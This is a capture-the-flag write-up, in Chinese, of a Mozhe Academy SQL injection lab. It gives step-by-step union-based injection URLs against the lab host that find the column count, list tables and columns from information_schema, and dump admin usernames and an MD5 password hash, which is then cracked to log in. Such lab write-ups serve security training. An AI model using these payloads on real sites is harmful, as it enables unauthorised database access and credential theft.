墨者学院-SQL过滤字符后手工注入漏洞测试(第3题)
墨者学院-SQL过滤字符后手工注入漏洞测试(第3题)
前言
一段时间没做SQL注入的题目了,更一题SQL。
靶场地址:https://www.mozhe.cn/bug/detail/ZVBYR3I3eG9USnpIT0xqaDdtR09SQT09bW96aGUmozhe
正文
打开靶场环境后,是一个用户登录界面。
后来随便点了一下登录键下面的那一行字,发现那才是真正的注入点。
此时我们构造payload为
http://219.153.49.228:40405/new_list.php?id=1\
可以确定闭合方式为单引号闭合,再次构造payload
http://219.153.49.228:40405/new_list.php?id=1' order by 10 -- +
出现报错
使用二分法最终确定列数为7
http://219.153.49.228:40405/new_list.php?id=-1' union select 1,2,3,4,5,6,7 -- +
确定了报错位是2,3,4,5
http://219.153.49.228:40405/new_list.php?id=-1' union select 1,database(),3,4,5,6,7 -- +
查看库名,是min_ju4t_mel1i
http://219.153.49.228:40405/new_list.php?id=-1' union select 1,database(),group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema='min_ju4t_mel1i' -- +
查看表名
(@dmin9_td4b} notice stormgroup_member tdb_goods
http://219.153.49.228:40405/new_list.php?id=-1' union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema='min_ju4t_mel1i' and table_name='(@dmin9_td4b}' -- +
查看列名
id username password status
当用下面的输出账号密码时,发现报错,原来是表名里的}会和内容形成闭合,导致报错,将单引号换成反引号即可
http://219.153.49.228:40405/new_list.php?id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from '(@dmin9_td4b}' -- +
http://219.153.49.228:40405/new_list.php?id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from `(@dmin9_td4b}` -- +
我用最后一组账号密码登陆了后台
mozhe3 fc4e7f1e2a0129a2a20956abf5511945(需MD5解密)
成功得到key